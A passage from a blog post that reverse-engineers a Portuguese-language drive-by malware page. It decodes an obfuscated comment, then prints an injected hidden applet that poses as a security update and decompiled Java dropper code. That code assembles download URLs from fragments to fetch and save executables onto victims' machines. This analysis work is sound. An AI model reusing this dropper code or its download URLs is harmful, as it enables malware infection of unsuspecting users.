<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 189:</span> <span style="color: #008000">NTM2MTc1NjQ2MWU3ZjU2NTczMjA2MTZmNzMyMDZkNjU3NTczMjA2MzZmNmM2NTY3NjE3MzIwNjQ2</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 190:</span> <span style="color: #008000">NTIwNzQ3MjYxNjI2MTZjNjg2ZjIwNjQ2ZjIwNjI2YzZmNjcyMDYzNzI2OTZkNjU3MzYzNjk2MjY1</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 191:</span> <span style="color: #008000">NzI2ZTY1NzQ2OTYzNmY3MzJlNjM2ZjZkMmUwZDBhNTM2MTYyNjU2ZTY0NmYyMDcxNzU2NTIwNmU2</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 192:</span> <span style="color: #008000">MTY0NjEyMDczNjE2MjY1NmQ2ZjczMjA2NTczNzQ2MTZkNmY3MzIwNjE2Y2U5NmQyMDY0NmYyMDYy</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 193:</span> <span style="color: #008000">NjU2ZDIwNjUyMDY0NmYyMDZkNjE2YzJjMjA2MTY2Njk2ZTYxNmMyMDYxMjBmYTZlNjk2MzYxMjA2</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 194:</span> <span style="color: #008000">MzZmNjk3MzYxMjA2MTYyNzM2ZjZjNzU3NDYxMjBlOTIwNzE3NTY1MjA3NDc1NjQ2ZjIwZTkyMDcy</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 195:</span> <span style="color: #008000">NjU2YzYxNzQ2OTc2NmYyZTBkMGE1NTZkMjA2MTYyNzI2MWU3NmYyYzIwNjQ2ZjIwNzM2NTc1MjA2</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 196:</span> <span style="color: #008000">MTZkNjk2NzZmMjA1MDczNzk2MzY4NmM2ZjJlMGQwYTYyNzkyMDUwNzM3OTYzNjg2YzZmMjAyZDIw</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 197:</span> <span style="color: #008000">MzEzMTJmMzEzMTJmMzEzMQ==</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 198:</span> <span style="color: #008000"></span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 199:</span> <span style="color: #008000">*/</span></pre>
</p></div>
</div>
<p>&#160;</p>
<p>Now, some parts are more interesting than others.&#160; The end if the file just seems base64 encoded…cause it is.&#160; OK un-base64, you get a wall of numbers.&#160;&#160; But there is a clue in the d_hex function (that doesn’t exist), so we are assuming it is hex.&#160; Convert the tex to text and you see this:</p>
<blockquote>
<p>Saudações aos meus colegas de trabalho do blog crimesciberneticos.com.<br />
    <br />Sabendo que nada sabemos estamos além do bem e do mal, afinal a única coisa absoluta é que tudo é relativo. </p>
<p>Um abraço, do seu amigo Psychlo. </p>
<p>by Psychlo &#8211; 11/11/11</p>
</blockquote>
<p>Via Google translate you find this is Portuguese which I’m sure would make some of my Portuguese friends happy.&#160; Actually, if you want it to be hard to untranslate, use a language no one knows anymore, like Fries or <a href="http://en.wikipedia.org/wiki/Gronings">Gronings</a>!&#160; Cause you know every girl wants to hear, “Hey babe, I speak <a href="http://en.wikipedia.org/wiki/Gronings">Gronings</a>.”&#160; <sup>Note: my mother speaks Gronings.</sup></p>
<blockquote>
<p>Greetings to my coworkers crimesciberneticos.com blog.<br />
    <br />Knowing that we know nothing beyond good and evil, after all the only thing absolute is that everything is relative. </p>
<p>A hug, your friend Psychlo. </p>
<p>by Psychlo &#8211; 11/11/11</p>
</blockquote>
<p>&#160;</p>
<p>Anyway, one of the things this code is trying to do is run a Java applet.&#160; But do take a look that the rest of that code, some of it will come in handy later.</p>
<p>&#160; Here is where that is happening:</p>
<div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">
<div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml() {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + JSM_getAppletURL() + <span style="color: #006080">'?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> }</pre>
</p></div>
</div>
<p>Which is indirecteeze for:</p>
<div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">
<div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> &lt;applet name=<span style="color: #006080">&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot;</span> code=<span style="color: #006080">&quot;a.class&quot;</span> archive=<span style="color: #006080">&quot;http://advancedqualitysystem.com/Get/Get.php?a=/a1.jar?r=976646&quot;</span> width=<span style="color: #006080">&quot;0&quot;</span> height=<span style="color: #006080">&quot;0&quot;</span>  style=<span style="color: #006080">&quot;visibility: hidden&quot;</span>&gt;        &lt;param name=<span style="color: #006080">&quot;l&quot;</span> value=<span style="color: #006080">&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;</span>&gt;&lt;/param&gt;&lt;/applet&gt;</pre>
</p></div>
</div>
<p>OK, now I have the url for the Java applet, plus the entry point class (a.class).&#160;&#160; I can download that now.&#160; With the applet in hand, a Java applet is a zip file (funny things you remember from Comp Sci class in 1996), grab the *.class files, find a Java Decompiler and away we go.</p>
<p>You get 5 classes:</p>
<p>a.java</p>
<div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">
<div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">public</span> <span style="color: #0000ff">class</span> a extends Applet</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>     <span style="color: #0000ff">public</span> a()</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">void</span> init()</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         c_gP c_gp = <span style="color: #0000ff">new</span> c_gP();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         c_ed c_ed1 = <span style="color: #0000ff">new</span> c_ed();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>         c_js c_js1 = <span style="color: #0000ff">new</span> c_js();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>         String s = (<span style="color: #0000ff">new</span> StringBuilder()).append(c_gp.gP(8)).append(<span style="color: #006080">&quot;.&quot;</span>).append(<span style="color: #006080">&quot;ln&quot;</span>).append(<span style="color: #006080">&quot;k&quot;</span>).toString();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>         String s1 = (<span style="color: #0000ff">new</span> StringBuilder()).append(c_gp.gP(8)).append(<span style="color: #006080">&quot;.l&quot;</span>).append(<span style="color: #006080">&quot;n&quot;</span>).append(<span style="color: #006080">&quot;k&quot;</span>).toString();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>         <span style="color: #0000ff">try</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>         {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>             String s2 = System.getenv(<span style="color: #006080">&quot;ALLUSERSPROFILE&quot;</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>             String s3 = getParameter(<span style="color: #006080">&quot;l&quot;</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             <span style="color: #0000ff">if</span>(s2 != <span style="color: #0000ff">null</span>)</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>             {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                 String s4 = <span style="color: #006080">&quot;ht&quot;</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                 String s5 = <span style="color: #006080">&quot;tp&quot;</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>                 String s6 = <span style="color: #006080">&quot;:&quot;</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                 String s7 = <span style="color: #006080">&quot;//&quot;</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 String s8 = <span style="color: #006080">&quot;dl&quot;</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>                 String s9 = <span style="color: #006080">&quot;.drop&quot;</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 String s10 = <span style="color: #006080">&quot;box.&quot;</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>                 String s11 = <span style="color: #006080">&quot;com/u/41185898/&quot;</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>                 String s12 = <span style="color: #006080">&quot;a.gif&quot;</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>                 c_ed1.ed((<span style="color: #0000ff">new</span> StringBuilder()).append(s4).append(s5).append(s6).append(s7).append(s8).append(s9).append(s10).append(s11).append(s12).toString(), (<span style="color: #0000ff">new</span> StringBuilder()).append(s2).append(<span style="color: #006080">&quot;\\&quot;).append(s1).toString(), this);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>                 c_ed1.ed(s3, (new StringBuilder()).append(s2).append(&quot;</span>\\<span style="color: #006080">&quot;).append(s).toString(), this);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>             }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>         }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span>         catch(Exception exception)</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span>         {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  38:</span>             c_js1.js(&quot;</span>JSM_onLoadFail&quot;, <span style="color: #0000ff">this</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  39:</span>         }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  40:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  41:</span> }</pre>
</p></div>
</div>
<p>c_gP.java</p>
<div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">
<div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">
